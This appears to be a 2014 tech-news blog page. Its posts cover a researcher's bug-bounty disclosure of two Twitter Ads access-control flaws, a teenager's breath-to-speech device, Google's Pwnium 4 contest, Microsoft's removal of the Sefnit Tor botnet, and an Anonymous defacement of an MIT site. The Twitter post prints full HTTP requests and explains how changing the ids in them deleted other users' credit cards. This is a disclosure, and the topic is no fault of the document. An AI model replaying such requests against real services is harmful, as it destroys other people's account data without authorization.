Category: Hackers

Sep 16 2014

Twitter Vulnerability Allows Hacker to Delete Credit Cards from any Account

Twitter Delete Credit Card VulnerabilityAt the beginning of this month, just like other social networks, Twitter also started paying individuals for any flaws they uncover on its service with a fee of $140 or more offered per flaw under its new Bug Bounty program, and here comes the claimant.

An Egyptian Security Researcher, Ahmed Aboul-Ela, who have been rewarded by many reputed and popular technology giants including Google, Microsoft and Apple, have discovered a critical vulnerability in Twitter’s advertising service that allowed him deleting credit cards from any Twitter account.

Actually he found two vulnerabilities not one but both was having the same effect and impact.

#First Vulnerability
The first vulnerability he had spotted was in the delete functionality of credit cards in payments method page

https://ads.twitter.com/accounts/[account id]/payment_methods

Twitter Vulnerability Delete Credit Card

When he choose to delete credit card and press on the delete button, an ajax POST request is sent to the server like the following:

POST /accounts/18ce53wqoxd/payment_methods/destroy HTTP/1.1
Host: ads.twitter.com
Connection: keep-alive
Content-Length: 29
Accept: /
Origin: https://ads.twitter.com
X-CSRF-Token: Lb6HONDceN5mGvAEUvCQNakJUspD60Odumz/trVdQfE=
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://ads.twitter.com/accounts/18ce53wqoxd/payment_methods
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.8
Cookie: [cookies here]
account=18ce53wqoxd&id=219643

There are only two post parameters sent in request body-
account: the twitter account id
id: the credit card id and it’s numerical without any alphabetic characters

All he had to do is to change those two parameters to his twitter account id and credit card id, then reply again the request and he suddenly found that credit card have been delete from the other twitter account without any required interaction.

The funny part that the page response was “403 forbbiden” but the credit card was actually deleted from the account :D

#Second Vulnerability
Aboul-Ela found another similar vulnerability but this time the impact was higher than the previous one.
when he tried to add an invalid credit card to his twitter account it displayed an error message

“we were unable to approve the card you entered” and show a button called “Dismiss”

Hacking Twitter Delete Credit Cards

When he pressed on the Dismiss button the credit card was disappeared from his account, so he thought it have the same effect of deleteing, so he tried to add invalid credit card again and intercepted the request which looks like the following:

POST /accounts/18ce53wqoxd/payment_methods/handle_failed/220152 HTTP/1.1
Host: ads.twitter.com
Connection: keep-alive
Content-Length: 108
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://ads.twitter.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://ads.twitter.com/accounts/18ce53wqoxd/payment_methods
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.8
Cookie: [Cookies Here]
utf8=%E2%9C%93&authenticity_token=Lb6HONDceN5mGvAEUvCQNakJUspD60Odumz%2FtrVdQfE%3D
&id=220152&dismiss=Dismiss

This time account parameter doesn’t exists and only credit card id is used.

So he changed the id in the url and body to his credit card id from other twitter account then replied the request, and guess what?
Credit card got deleted from the other twitter account !

VIDEO DEMONSTRATION:

Sep 15 2014

A 16-Year Old Invents Device that Converts Breath to Speech

TALK Converting Breath to SpeechA High-school student Arsh Shah Dilbagi has invented a portable and affordable device that converts breath into speech, helping people suffering from different developmental disabilities like locked-in syndrome, Parkinson’s, or ALS to communicate using only their breath.

A 16-year-old Dilbagi who hails from Harayana’s Panipat region in India has come up as the only entry from Asia in the 15 global finalists at the Google Science Fair 2014, a competition open to 13 to 18 year old thinkers.

This augmentative and alternative communication (AAC) device, Dilbagi dubbed it as ‘Talk’, can turn breath signals into speech using the assistance of Morse code. This innovative device can be used by people with developmental disabilities whose communication abilities are impaired.

Over 1.4 percent of the world’s total population suffers from some disorder that renders victims almost completely paralyzed, making them difficult in speaking and forcing them to use an augmentative and alternative communication (AAC) device to communicate with others.

EASILY AFFORDABLE – JUST $80
A majority of AAC devices use eye tracking in order to help people communicate with each other, but according to Dilbagi, the amateur inventor, most of those devices are very expensive, very expensive, slow and bulky, so in an effort to create a device that offers faster and more affordable alternative to victims, he invented “Talk.” It took him three months of research and another seven months to build the final prototype.

The device uses a basic $25 Arduino microcontroller, and the total invention costs only $80 (Rs 5000) about a hundred times less than the sort of Augmentative and Alternative Communication device used by Stephen Hawking, making it affordable to the large number of population.

HOW TALK WORKS
The device translates breath signals into electric signals using a special device called MEMS Microphone. This technology uses a pressure-sensitive diaphragm etched directly onto a silicon microchip, and an amplifying device to increase the sound of the user’s breath.

Breath to Speech Converter

The user is required to give two distinguishable exhales, varying in intensity or time, so that they can spell words out using the assistance of Morse code. The morse code can either be translated into English, or specific commands and phrases. The device features nine different voices varying in age and gender.

A microprocessor is used to interpret these breathes into dots and dashes that converts them into words. Once the breath is converted into words, they are sent to a second microprocessor that then converts them into voice.

VIDEO DEMONSTRATION
You can see the video demonstration of the device in which Dilbagi is explaining about the device.

Jan 26 2014

Google Pwnium 4 Invites Hackers to Attack Chrome OS at CanSecWest

google pwnium 4 Google holds regular competitions to encourage involvement in improving the security of the Chromium project. Contests like Pwnium helps to better patch specific exploits and issues to make Chromium even more secure.

This year Pwnium 4 will once again set sights on Chrome OS, and will be hosted in March at the CanSecWest security conference in Vancouver.

With a total of $2.71828 Million USD in the pot, Pwnium rewards will be issued for eligible Chrome OS exploits at the following levels:

— $110,000 USD: browser or system-level compromise in guest mode or as a logged-in user, delivered via a web page.
— $150,000 USD: compromise with device persistence: guest to guest with interim reboot, delivered via a web page.

Past Pwnium competitions have focused on Intel-based Chrome OS devices, but this year researchers can choose between an ARM-based Chromebook, the HP Chromebook 11 (WiFi), or the Acer C720 Chromebook (2GB WiFi) that is based on the Intel Haswell microarchitecture. The attack must be demonstrated against one of these devices running the then-current stable version of Chrome OS.

Participants need to register in advance for a timeslot. To register, e-mail pwnium4@chromium.org. Registration will close at 5:00 p.m. PST Monday, March 10th, 2014. Only exploits demonstrated on time in this specifically-arranged window will be eligible for a reward.

More Info:
The Chromium Blog : Announcing Pwnium 4 Targeting Chrome OS
Pwnium4@CanSecWest2014 : Official Rules
Chromium OS : Developer Guide

Jan 20 2014

Microsoft Remotely Removed Tor Browser Bundle from more than 2 Million Systems

Tor Browser Bundle In August 2013, 4 million infected computers woke up and waited instructions from their master.

The pathogen was Sefnit, a nasty bit of malware that makes infected computers mine bitcoins. Once the computers woke up, they worked under the command of Ukranian and Israeli hackers named Scorpion and Dekadent. The malware communicated with the two by downloading Tor, the powerful anonymizing software, and talking over encrypted channels. It was the first time a botnet, as a collection of slave computers is called, used Tor in such a potentially powerful way.

By using an unconventional method to exploit Windows, the hackers unwittingly forced Microsoft to show a hand few knew it had: The ability to remotely remove progams en masse from people’s computers, without them even knowing it.

All of a sudden, the anonymous network grew from about 1 million users to 5.5 million, a jump that frightened even Tor’s developers.

Sefnit Tor Botnet Metrics

“If this had been a real attacker, if the botnet had been turned against the Tor network, it probably would have been fatal, I think,” developer Jacob Appelbaum said in a speech at the Chaos Communication Congress in December.

On one level, Sefnit’s use of Tor was a mistake. That surge in users brought unwanted attention to the botnet at a time of heightened interested in the Tor network. And the malware, which has existed in various versions of Tor since 2009, specifically targeted Windows users, a fact that got Microsoft’s attention quickly.

To fight back, Microsoft remotely removed the program from as many computers as it could, along with the Tor clients it used.

“That’s a lot of power that Microsoft has there,” Applebaum continued, raising his voice and laughing at the implications. “If you’re using Windows trying to be anonymous, word to the wise: Bad idea.”

It’s no small thing that Microsoft has the ability to reach into certain Windows installations and tear out the parts they deem dangerous, but Andrew Lewman, Tor’s executive director, says there’s little to worry about in this case.

“It sounds scary,” Lewman concluded, “until you realize users opt-in for the most part and agree to have their OS kept ‘secure’ by Microsoft.”

So, yes, Microsoft has the ability to reach into certain computers and delete programs. But, Lewman says, this is the way it’s always been—as long as the user agrees to it first.

Source: The Daily Dot – Microsoft’s secret battle against the Tor botnet

Jan 12 2014

MIT University Website Defaced by Anonymous Hackers in Honor of Aaron Swartz

Aaron Swartz Last year on January 11, a 26-year-old, young hacker, Reddit co-founder and the digital Activist, Aaron H. Swartz committed suicide.
He found dead in his Brooklyn, New York apartment, where he had hanged himself.

Swartz was indicted by a federal grand jury in July 2011, accused of hacking the MIT JSTOR database and stealing over four million documents with the intent to distribute them. He could have prison for 50 years and $4 million in fines by the Court, but before that he committed suicide in fear. Swartz’s father, Robert, later blamed the MIT and the judiciary system for his son’s death.

On the first Anniversary of Aaron Swartz, today the Anonymous group of hackers defaced the sub-domain of the Massachusetts Institute of Technology (MIT) website (http://cogen.mit.edu/) for about an hour as part of #OPLASTRESORT. Defacement page was titled ‘THE DAY WE FIGHT BACK’. The message posted on it, “Remember The Day We Fight Back, Remember. We Never Forget, We Never Surrender, Expect Us.”

Anonymous OpLastResort

The attack on the website of MIT is a part of the tragic suicide of hacker Aaron Swartz to give him tribute.

It was the MIT’s role in the federal prosecution against an activist, which ultimately led to him committing suicide, but the U.S Government has not learned anything and they are planning to make laws stricter against hackers.

Recently, The Senate Judiciary Committee Chairman ‘Patrick Leahy’ reintroduced a revamped version of the “Personal Data Privacy and Security Act” for tough criminal penalties for hackers. The new bill suggests 20 years in prison, rather than 10 years (currently) and also recommending to give same penalties for the hackers who even attempt to hack the systems, but doesn’t succeed.